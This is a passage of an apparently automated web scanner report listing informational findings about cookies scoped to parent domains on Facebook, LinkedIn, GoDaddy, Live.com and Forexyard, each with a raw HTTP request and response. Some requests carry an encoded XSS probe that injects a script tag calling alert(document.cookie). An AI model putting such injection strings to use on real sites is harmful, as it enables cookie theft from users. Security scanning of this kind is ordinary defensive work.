reg_fb_ref=http%3A%2F%2Fwww.facebook.com%2Fajouli1; path=/; domain=.facebook.com

The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.

Request

GET /ajouli1 HTTP/1.1
Host: www.facebook.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: datr=8CJHTYhjyotVYfKpZ5B35lnF; campaign_click_url=%2Fcampaign%2Fimpression.php%3Fcampaign_id%3D137675572948107%26partner_id%3Dehow.com%26placement%3Dactivity%26extra_1%3Dhttp%253A%252F%252Fwww.ehow.com%252F%26extra_2%3DUS;

Response

14.250. http://www.facebook.com/americanexpress previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.facebook.com
Path:	/americanexpress

Issue detail

The following cookies were issued by the application and is scoped to a parent of the issuing domain:

datr=JMlNTQiqK0xyt0kGBu374Lk2; expires=Mon, 04-Feb-2013 22:03:16 GMT; path=/; domain=.facebook.com; httponly
lsd=si0H1; path=/; domain=.facebook.com

The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.

Request

GET /americanexpress HTTP/1.1
Host: www.facebook.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

14.251. http://www.facebook.com/campaign/impression.php previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.facebook.com
Path:	/campaign/impression.php

Issue detail

The following cookie was issued by the application and is scoped to a parent of the issuing domain:

campaign_click_url=%2Fcampaign%2Fimpression.php%3Fcampaign_id%3D137675572948107%26partner_id%3Dus.blackberry.com%26placement%3Dlike_box%26extra_1%3Dhttp%253A%252F%252Fus.blackberry.com%252Fsmartphones%252F94178%252522%25253E%25253Cscript%25253Ealert%2528document.cookie%2529%25253C%252Fscript%25253Ed0d62204af5%252F%26extra_2%3DUS; expires=Tue, 08-Mar-2011 13:32:56 GMT; path=/; domain=.facebook.com; httponly

The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.

Request

GET /campaign/impression.php?campaign_id=137675572948107&partner_id=us.blackberry.com&placement=like_box&extra_1=http%3A%2F%2Fus.blackberry.com%2Fsmartphones%2F94178%2522%253E%253Cscript%253Ealert%28document.cookie%29%253C%2Fscript%253Ed0d62204af5%2F&extra_2=US HTTP/1.1
Host: www.facebook.com
Proxy-Connection: keep-alive
Referer: http://www.facebook.com/plugins/likebox.php?id=13004060847&width=292&connections=10&stream=true&header=false&height=455
Accept: */*
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.84 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: campaign_click_url=%2Fcampaign%2Fimpression.php%3Fcampaign_id%3D137675572948107%26partner_id%3Dehow.com%26placement%3Dactivity%26extra_1%3Dhttp%253A%252F%252Fwww.ehow.com%252F%26extra_2%3DUS; datr=8CJHTYhjyotVYfKpZ5B35lnF

Response

HTTP/1.1 200 OK
Cache-Control: private, no-cache, no-store, must-revalidate
Content-Length: 43
Content-Type: image/gif
Expires: Sat, 01 Jan 2000 00:00:00 GMT
P3P: CP="Facebook does not have a P3P policy. Learn why here: http://fb.me/p3p"
Pragma: no-cache
Set-Cookie: campaign_click_url=%2Fcampaign%2Fimpression.php%3Fcampaign_id%3D137675572948107%26partner_id%3Dus.blackberry.com%26placement%3Dlike_box%26extra_1%3Dhttp%253A%252F%252Fus.blackberry.com%252Fsmartphones%252F94178%252522%25253E%25253Cscript%25253Ealert%2528document.cookie%2529%25253C%252Fscript%25253Ed0d62204af5%252F%26extra_2%3DUS; expires=Tue, 08-Mar-2011 13:32:56 GMT; path=/; domain=.facebook.com; httponly
X-Cnection: close
Date: Sun, 06 Feb 2011 13:32:56 GMT

GIF89a.............!.......,...........D..;

14.252. http://www.facebook.com/campaign/landing.php previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.facebook.com
Path:	/campaign/landing.php

Issue detail

The following cookie was issued by the application and is scoped to a parent of the issuing domain:

campaign_click_url=%2Fcampaign%2Flanding.php; expires=Mon, 07-Mar-2011 22:38:41 GMT; path=/; domain=.facebook.com; httponly

The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.

Request

GET /campaign/landing.php HTTP/1.1
Host: www.facebook.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: datr=8CJHTYhjyotVYfKpZ5B35lnF; campaign_click_url=%2Fcampaign%2Fimpression.php%3Fcampaign_id%3D137675572948107%26partner_id%3Dehow.com%26placement%3Dactivity%26extra_1%3Dhttp%253A%252F%252Fwww.ehow.com%252F%26extra_2%3DUS;

Response

HTTP/1.1 302 Found
Location: http://www.facebook.com/
P3P: CP="Facebook does not have a P3P policy. Learn why here: http://fb.me/p3p"
Set-Cookie: campaign_click_url=%2Fcampaign%2Flanding.php; expires=Mon, 07-Mar-2011 22:38:41 GMT; path=/; domain=.facebook.com; httponly
Content-Type: text/html; charset=utf-8
Connection: close
Date: Sat, 05 Feb 2011 22:38:41 GMT
Content-Length: 0

14.253. http://www.facebook.com/dcmoncayo previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.facebook.com
Path:	/dcmoncayo

Issue detail

The following cookies were issued by the application and is scoped to a parent of the issuing domain:

lsd=0C9sx; path=/; domain=.facebook.com
reg_fb_gate=http%3A%2F%2Fwww.facebook.com%2Fdcmoncayo; path=/; domain=.facebook.com
reg_fb_ref=http%3A%2F%2Fwww.facebook.com%2Fdcmoncayo; path=/; domain=.facebook.com

The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.

Request

GET /dcmoncayo HTTP/1.1
Host: www.facebook.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: datr=8CJHTYhjyotVYfKpZ5B35lnF; campaign_click_url=%2Fcampaign%2Fimpression.php%3Fcampaign_id%3D137675572948107%26partner_id%3Dehow.com%26placement%3Dactivity%26extra_1%3Dhttp%253A%252F%252Fwww.ehow.com%252F%26extra_2%3DUS;

Response

14.254. http://www.facebook.com/fabianomorige previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.facebook.com
Path:	/fabianomorige

Issue detail

The following cookies were issued by the application and is scoped to a parent of the issuing domain:

lsd=pH6X0; path=/; domain=.facebook.com
reg_fb_gate=http%3A%2F%2Fwww.facebook.com%2Ffabianomorige; path=/; domain=.facebook.com
reg_fb_ref=http%3A%2F%2Fwww.facebook.com%2Ffabianomorige; path=/; domain=.facebook.com

The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.

Request

GET /fabianomorige HTTP/1.1
Host: www.facebook.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: datr=8CJHTYhjyotVYfKpZ5B35lnF; campaign_click_url=%2Fcampaign%2Fimpression.php%3Fcampaign_id%3D137675572948107%26partner_id%3Dehow.com%26placement%3Dactivity%26extra_1%3Dhttp%253A%252F%252Fwww.ehow.com%252F%26extra_2%3DUS;

Response

14.255. http://www.facebook.com/laprincesita.inigulable previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.facebook.com
Path:	/laprincesita.inigulable

Issue detail

The following cookies were issued by the application and is scoped to a parent of the issuing domain:

lsd=mjsdQ; path=/; domain=.facebook.com
reg_fb_gate=http%3A%2F%2Fwww.facebook.com%2Flaprincesita.inigulable; path=/; domain=.facebook.com
reg_fb_ref=http%3A%2F%2Fwww.facebook.com%2Flaprincesita.inigulable; path=/; domain=.facebook.com

The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.

Request

GET /laprincesita.inigulable HTTP/1.1
Host: www.facebook.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: datr=8CJHTYhjyotVYfKpZ5B35lnF; campaign_click_url=%2Fcampaign%2Fimpression.php%3Fcampaign_id%3D137675572948107%26partner_id%3Dehow.com%26placement%3Dactivity%26extra_1%3Dhttp%253A%252F%252Fwww.ehow.com%252F%26extra_2%3DUS;

Response

14.256. http://www.facebook.com/marytere.medina previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.facebook.com
Path:	/marytere.medina

Issue detail

The following cookies were issued by the application and is scoped to a parent of the issuing domain:

lsd=f2GZC; path=/; domain=.facebook.com
reg_fb_gate=http%3A%2F%2Fwww.facebook.com%2Fmarytere.medina; path=/; domain=.facebook.com
reg_fb_ref=http%3A%2F%2Fwww.facebook.com%2Fmarytere.medina; path=/; domain=.facebook.com

The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.

Request

GET /marytere.medina HTTP/1.1
Host: www.facebook.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: datr=8CJHTYhjyotVYfKpZ5B35lnF; campaign_click_url=%2Fcampaign%2Fimpression.php%3Fcampaign_id%3D137675572948107%26partner_id%3Dehow.com%26placement%3Dactivity%26extra_1%3Dhttp%253A%252F%252Fwww.ehow.com%252F%26extra_2%3DUS;

Response

14.257. http://www.facebook.com/pages/Kledyde/344540630304 previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.facebook.com
Path:	/pages/Kledyde/344540630304

Issue detail

The following cookie was issued by the application and is scoped to a parent of the issuing domain:

lsd=EBuc7; path=/; domain=.facebook.com

The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.

Request

GET /pages/Kledyde/344540630304 HTTP/1.1
Host: www.facebook.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: datr=8CJHTYhjyotVYfKpZ5B35lnF; campaign_click_url=%2Fcampaign%2Fimpression.php%3Fcampaign_id%3D137675572948107%26partner_id%3Dehow.com%26placement%3Dactivity%26extra_1%3Dhttp%253A%252F%252Fwww.ehow.com%252F%26extra_2%3DUS;

Response

14.258. http://www.facebook.com/pages/OrthoSuperSitecom/296664256434 previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.facebook.com
Path:	/pages/OrthoSuperSitecom/296664256434

Issue detail

The following cookies were issued by the application and is scoped to a parent of the issuing domain:

datr=JslNTVyi3Z1cM6bZrSjKLTPt; expires=Mon, 04-Feb-2013 22:03:18 GMT; path=/; domain=.facebook.com; httponly
lsd=mxlHK; path=/; domain=.facebook.com

The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.

Request

GET /pages/OrthoSuperSitecom/296664256434 HTTP/1.1
Host: www.facebook.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Cache-Control: private, no-cache, no-store, must-revalidate
Expires: Sat, 01 Jan 2000 00:00:00 GMT
P3P: CP="Facebook does not have a P3P policy. Learn why here: http://fb.me/p3p"
Pragma: no-cache
Set-Cookie: datr=JslNTVyi3Z1cM6bZrSjKLTPt; expires=Mon, 04-Feb-2013 22:03:18 GMT; path=/; domain=.facebook.com; httponly
Set-Cookie: lsd=mxlHK; path=/; domain=.facebook.com
Content-Type: text/html; charset=utf-8
Connection: close
Date: Sat, 05 Feb 2011 22:03:18 GMT
Content-Length: 136626

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN"
"http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en" id="facebook" class=
...[SNIP]...

14.259. http://www.facebook.com/pages/Orthopaedic-Trauma-Association/212018968439 previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.facebook.com
Path:	/pages/Orthopaedic-Trauma-Association/212018968439

Issue detail

The following cookies were issued by the application and is scoped to a parent of the issuing domain:

datr=JslNTQvcuvBm8glwbtNJrYQt; expires=Mon, 04-Feb-2013 22:03:18 GMT; path=/; domain=.facebook.com; httponly
lsd=Nxr12; path=/; domain=.facebook.com

The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.

Request

GET /pages/Orthopaedic-Trauma-Association/212018968439?ref=search&sid=1357027577.2299684249..1&v=wall HTTP/1.1
Host: www.facebook.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

14.260. http://www.facebook.com/pages/OwnerIQ/54446991004 previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.facebook.com
Path:	/pages/OwnerIQ/54446991004

Issue detail

The following cookie was issued by the application and is scoped to a parent of the issuing domain:

lsd=07KIU; path=/; domain=.facebook.com

The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.

Request

GET /pages/OwnerIQ/54446991004 HTTP/1.1
Host: www.facebook.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: datr=8CJHTYhjyotVYfKpZ5B35lnF; campaign_click_url=%2Fcampaign%2Fimpression.php%3Fcampaign_id%3D137675572948107%26partner_id%3Dehow.com%26placement%3Dactivity%26extra_1%3Dhttp%253A%252F%252Fwww.ehow.com%252F%26extra_2%3DUS;

Response

HTTP/1.1 301 Moved Permanently
Cache-Control: private, no-cache, no-store, must-revalidate
Expires: Sat, 01 Jan 2000 00:00:00 GMT
Location: http://www.facebook.com/OwnerIQ
P3P: CP="Facebook does not have a P3P policy. Learn why here: http://fb.me/p3p"
Pragma: no-cache
Set-Cookie: lsd=07KIU; path=/; domain=.facebook.com
Content-Type: text/html; charset=utf-8
Connection: close
Date: Sat, 05 Feb 2011 23:01:52 GMT
Content-Length: 0

14.261. http://www.facebook.com/pages/Tipd/39630264367 previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.facebook.com
Path:	/pages/Tipd/39630264367

Issue detail

The following cookie was issued by the application and is scoped to a parent of the issuing domain:

lsd=PSfaE; path=/; domain=.facebook.com

The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.

Request

GET /pages/Tipd/39630264367 HTTP/1.1
Host: www.facebook.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: datr=8CJHTYhjyotVYfKpZ5B35lnF; campaign_click_url=%2Fcampaign%2Fimpression.php%3Fcampaign_id%3D137675572948107%26partner_id%3Dehow.com%26placement%3Dactivity%26extra_1%3Dhttp%253A%252F%252Fwww.ehow.com%252F%26extra_2%3DUS;

Response

HTTP/1.1 301 Moved Permanently
Cache-Control: private, no-cache, no-store, must-revalidate
Expires: Sat, 01 Jan 2000 00:00:00 GMT
Location: http://www.facebook.com/tipddotcom
P3P: CP="Facebook does not have a P3P policy. Learn why here: http://fb.me/p3p"
Pragma: no-cache
Set-Cookie: lsd=PSfaE; path=/; domain=.facebook.com
Content-Type: text/html; charset=utf-8
Connection: close
Date: Sun, 06 Feb 2011 16:07:08 GMT
Content-Length: 0

14.262. http://www.facebook.com/pointeresortsaz previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.facebook.com
Path:	/pointeresortsaz

Issue detail

The following cookie was issued by the application and is scoped to a parent of the issuing domain:

lsd=j_Hmr; path=/; domain=.facebook.com

The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.

Request

GET /pointeresortsaz HTTP/1.1
Host: www.facebook.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: datr=8CJHTYhjyotVYfKpZ5B35lnF; campaign_click_url=%2Fcampaign%2Fimpression.php%3Fcampaign_id%3D137675572948107%26partner_id%3Dehow.com%26placement%3Dactivity%26extra_1%3Dhttp%253A%252F%252Fwww.ehow.com%252F%26extra_2%3DUS;

Response

14.263. http://www.facebook.com/search/ previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.facebook.com
Path:	/search/

Issue detail

The following cookie was issued by the application and is scoped to a parent of the issuing domain:

lsd=QfoGh; path=/; domain=.facebook.com

The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.

Request

GET /search/ HTTP/1.1
Host: www.facebook.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: datr=8CJHTYhjyotVYfKpZ5B35lnF; campaign_click_url=%2Fcampaign%2Fimpression.php%3Fcampaign_id%3D137675572948107%26partner_id%3Dehow.com%26placement%3Dactivity%26extra_1%3Dhttp%253A%252F%252Fwww.ehow.com%252F%26extra_2%3DUS;

Response

HTTP/1.1 302 Found
Cache-Control: private, no-cache, no-store, must-revalidate
Expires: Sat, 01 Jan 2000 00:00:00 GMT
Location: http://www.facebook.com/search.php
P3P: CP="Facebook does not have a P3P policy. Learn why here: http://fb.me/p3p"
Pragma: no-cache
Set-Cookie: lsd=QfoGh; path=/; domain=.facebook.com
Content-Type: text/html; charset=utf-8
Connection: close
Date: Sat, 05 Feb 2011 22:38:48 GMT
Content-Length: 0

14.264. http://www.facebook.com/uschi.eller previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.facebook.com
Path:	/uschi.eller

Issue detail

The following cookies were issued by the application and is scoped to a parent of the issuing domain:

lsd=F6k4f; path=/; domain=.facebook.com
reg_fb_gate=http%3A%2F%2Fwww.facebook.com%2Fuschi.eller; path=/; domain=.facebook.com
reg_fb_ref=http%3A%2F%2Fwww.facebook.com%2Fuschi.eller; path=/; domain=.facebook.com

The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.

Request

GET /uschi.eller HTTP/1.1
Host: www.facebook.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: datr=8CJHTYhjyotVYfKpZ5B35lnF; campaign_click_url=%2Fcampaign%2Fimpression.php%3Fcampaign_id%3D137675572948107%26partner_id%3Dehow.com%26placement%3Dactivity%26extra_1%3Dhttp%253A%252F%252Fwww.ehow.com%252F%26extra_2%3DUS;

Response

14.265. http://www.facebook.com/vibrantmedia previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.facebook.com
Path:	/vibrantmedia

Issue detail

The following cookie was issued by the application and is scoped to a parent of the issuing domain:

lsd=juuUg; path=/; domain=.facebook.com

The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.

Request

GET /vibrantmedia HTTP/1.1
Host: www.facebook.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: datr=8CJHTYhjyotVYfKpZ5B35lnF; campaign_click_url=%2Fcampaign%2Fimpression.php%3Fcampaign_id%3D137675572948107%26partner_id%3Dehow.com%26placement%3Dactivity%26extra_1%3Dhttp%253A%252F%252Fwww.ehow.com%252F%26extra_2%3DUS;

Response

14.266. http://www.forexyard.com/css/quotes-chart.cssbdb85 previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.forexyard.com
Path:	/css/quotes-chart.cssbdb85

Issue detail

The following cookie was issued by the application and is scoped to a parent of the issuing domain:

FXYSC=tiai6955mmolrp08t0ipccep81; path=/; domain=.forexyard.com

The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.

Request

GET /css/quotes-chart.cssbdb85 HTTP/1.1
Host: www.forexyard.com
Proxy-Connection: keep-alive
Referer: http://quotes.forexyard.com/iframe5.php?css=http://www.forexyard.com/en/css/quotes-chart.cssbdb85%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3Ec67b70ca19&img_prefix=35_30min&pairs=EURUSD,USDJPY,AUDUSD,USDCAD,GBPUSD,USDCHF&zone_id=4129
Accept: text/css,*/*;q=0.1
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.84 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3

Response

14.267. http://www.godaddy.com/default.aspx previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.godaddy.com
Path:	/default.aspx

Issue detail

The following cookies were issued by the application and is scoped to a parent of the issuing domain:

flag1=cflag=us; domain=godaddy.com; expires=Sun, 05-Feb-2012 22:05:55 GMT; path=/
currency1=potableSourceStr=USD; domain=godaddy.com; expires=Sun, 05-Feb-2012 22:05:55 GMT; path=/
currencypopin1=cdisplaypopin=false; domain=godaddy.com; expires=Sun, 05-Feb-2012 22:05:55 GMT; path=/
traffic=cookies=1&referrer=&sitename=www.godaddy.com&page=/default.aspx&server=M1PWCORPWEB130&status=200 OK&querystring=&shopper=&privatelabelid=1&isc=&clientip=173.193.214.243&referringpath=&referringdomain=&split=48; domain=godaddy.com; path=/
GoogleADServicesgoogleadwordshome=vbfgvejjzeofuihbqhpfcbpgibfeheyi; domain=godaddy.com; expires=Fri, 05-Feb-2021 22:05:55 GMT; path=/

The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.

Request

GET /default.aspx HTTP/1.1
Host: www.godaddy.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

14.268. http://www.linkedin.com/ previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.linkedin.com
Path:	/

Issue detail

The following cookies were issued by the application and is scoped to a parent of the issuing domain:

bcookie="v=1&141e3dd9-2a20-4c3c-827f-21d17cd03532"; Version=1; Domain=linkedin.com; Max-Age=2147483647; Expires=Fri, 24-Feb-2079 02:16:35 GMT; Path=/
lang="v=2&lang=en"; Version=1; Domain=linkedin.com; Path=/

The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.

Request

GET / HTTP/1.1
Host: www.linkedin.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Server: Apache-Coyote/1.1
Set-Cookie: JSESSIONID="ajax:6164122648378833163"; Version=1; Path=/
P3P: CP="CAO DSP COR CUR ADMi DEVi TAIi PSAi PSDi IVAi IVDi CONi OUR DELi SAMi UNRi PUBi OTRi IND PHY ONL UNI PUR FIN COM NAV INT DEM CNT POL PRE"
Set-Cookie: leo_auth_token="GST:ZTkdLLKZK_ggZRbY44T2FKTN6Eo_M0OV49kqXrkZrEol8AbriE_Vxr:1296946948:e68b5644f2e89cdd8b8600193a537cd5b3bca0ac"; Version=1; Max-Age=1799; Expires=Sat, 05-Feb-2011 23:32:27 GMT; Path=/
Set-Cookie: s_leo_auth_token="delete me"; Version=1; Max-Age=0; Expires=Thu, 01-Jan-1970 00:00:10 GMT; Path=/
Set-Cookie: visit=G; Expires=Fri, 24-Feb-2079 02:16:35 GMT; Path=/
Set-Cookie: bcookie="v=1&141e3dd9-2a20-4c3c-827f-21d17cd03532"; Version=1; Domain=linkedin.com; Max-Age=2147483647; Expires=Fri, 24-Feb-2079 02:16:35 GMT; Path=/
Pragma: no-cache
Expires: Thu, 01 Jan 1970 00:00:00 GMT
Cache-Control: no-cache
Cache-Control: no-store
Set-Cookie: lang="v=2&lang=en"; Version=1; Domain=linkedin.com; Path=/
Content-Type: text/html;charset=UTF-8
Content-Language: en-US
Date: Sat, 05 Feb 2011 23:02:28 GMT
Content-Length: 19987

<!DOCTYPE html>
<html lang="en">
<head>

<meta http-equiv="content-type" content="text/html; charset=UTF-8">
<meta http-equiv="X-UA-Compatible" content="IE=9">
<meta name="description" content="L
...[SNIP]...

14.269. http://www.linkedin.com/companies/222438/OwnerIQ previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.linkedin.com
Path:	/companies/222438/OwnerIQ

Issue detail

The following cookies were issued by the application and is scoped to a parent of the issuing domain:

bcookie="v=1&e6f1aaac-08d7-4426-85cc-9b3490cae2cf"; Version=1; Domain=linkedin.com; Max-Age=2147483647; Expires=Fri, 24-Feb-2079 02:16:37 GMT; Path=/
lang="v=2&lang=en&c="; Version=1; Domain=linkedin.com; Path=/

The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.

Request

GET /companies/222438/OwnerIQ HTTP/1.1
Host: www.linkedin.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

14.270. http://www.linkedin.com/groupInvitation previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.linkedin.com
Path:	/groupInvitation

Issue detail

The following cookies were issued by the application and is scoped to a parent of the issuing domain:

bcookie="v=1&cd6dbf47-e6cf-4898-9bbd-b3e4bc5d6192"; Version=1; Domain=linkedin.com; Max-Age=2147483647; Expires=Fri, 24-Feb-2079 01:20:50 GMT; Path=/
lang="v=2&lang=en&c="; Version=1; Domain=linkedin.com; Path=/

The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.

Request

GET /groupInvitation HTTP/1.1
Host: www.linkedin.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Server: Apache-Coyote/1.1
P3P: CP="CAO DSP COR CUR ADMi DEVi TAIi PSAi PSDi IVAi IVDi CONi OUR DELi SAMi UNRi PUBi OTRi IND PHY ONL UNI PUR FIN COM NAV INT DEM CNT POL PRE"
Expires: 0
Pragma: no-cache
Cache-control: no-cache, must-revalidate, max-age=0
Set-Cookie: leo_auth_token="GST:USPcjVjh_OtiRy9WPlG0jPNXb0WyphkShZD0e7Nn60hypyfO-0CmKk:1296943603:1f5c383a1a62947997acc0a50d1873ded2a84670"; Version=1; Max-Age=1799; Expires=Sat, 05-Feb-2011 22:36:42 GMT; Path=/
Set-Cookie: s_leo_auth_token="delete me"; Version=1; Max-Age=0; Expires=Thu, 01-Jan-1970 00:00:10 GMT; Path=/
Set-Cookie: JSESSIONID="ajax:3497768082988792158"; Version=1; Path=/
Set-Cookie: visit=G; Expires=Fri, 24-Feb-2079 01:20:50 GMT; Path=/
Set-Cookie: bcookie="v=1&cd6dbf47-e6cf-4898-9bbd-b3e4bc5d6192"; Version=1; Domain=linkedin.com; Max-Age=2147483647; Expires=Fri, 24-Feb-2079 01:20:50 GMT; Path=/
Set-Cookie: lang="v=2&lang=en&c="; Version=1; Domain=linkedin.com; Path=/
Content-Type: text/html;charset=UTF-8
Date: Sat, 05 Feb 2011 22:06:42 GMT
Set-Cookie: NSC_MC_QH_MFP=ffffffffaf19965b45525d5f4f58455e445a4a42198c;expires=Sat, 05-Feb-2011 22:36:58 GMT;path=/;httponly
Content-Length: 12878

<!DOCTYPE html>
<html lang="en">
<head>

<meta http-equiv="content-type" content="text/html; charset=UTF-8">
<meta http-equiv="X-UA-Compatible" content="IE=9">
<meta name="description" content="L
...[SNIP]...

14.271. http://www.live.com/ previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.live.com
Path:	/

Issue detail

The following cookies were issued by the application and is scoped to a parent of the issuing domain:

xid=60629a37-865b-4dd9-a5a2-5b76c9612ec1&&BL2xxxxxxC502&69; domain=.live.com; path=/
mktstate=S=821848180&U=&E=&P=&B=en; domain=.live.com; path=/
mkt1=norm=en; domain=.live.com; path=/
E=P:Z8tc6J+TzYg=:Sat/ZBZp0alEo6grHvlB26tzg6c5Lr6Z/8oDdDPquS4=:F; domain=.live.com; path=/

The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.

Request

GET / HTTP/1.1
Host: www.live.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 302 Found
Cache-Control: private
Content-Type: text/html; charset=utf-8
Location: https://login.live.com/login.srf?wa=wsignin1.0&rpsnv=11&ct=1296946953&rver=6.1.6206.0&wp=MBI&wreply=http:%2F%2Fmail.live.com%2F%3Frru%3Dhome%26livecom%3D1&lc=1033&id=251248&cbcxt=hom&mkt=en-US
Server: Microsoft-IIS/7.0
X-AspNet-Version: 2.0.50727
Set-Cookie: xid=60629a37-865b-4dd9-a5a2-5b76c9612ec1&&BL2xxxxxxC502&69; domain=.live.com; path=/
Set-Cookie: xidseq=1; domain=.live.com; path=/
Set-Cookie: mktstate=S=821848180&U=&E=&P=&B=en; domain=.live.com; path=/
Set-Cookie: mkt1=norm=en; domain=.live.com; path=/
Set-Cookie: mkt2=marketing=en-us; domain=.www.live.com; path=/
Set-Cookie: LD=; domain=.live.com; expires=Sat, 05-Feb-2011 21:22:33 GMT; path=/
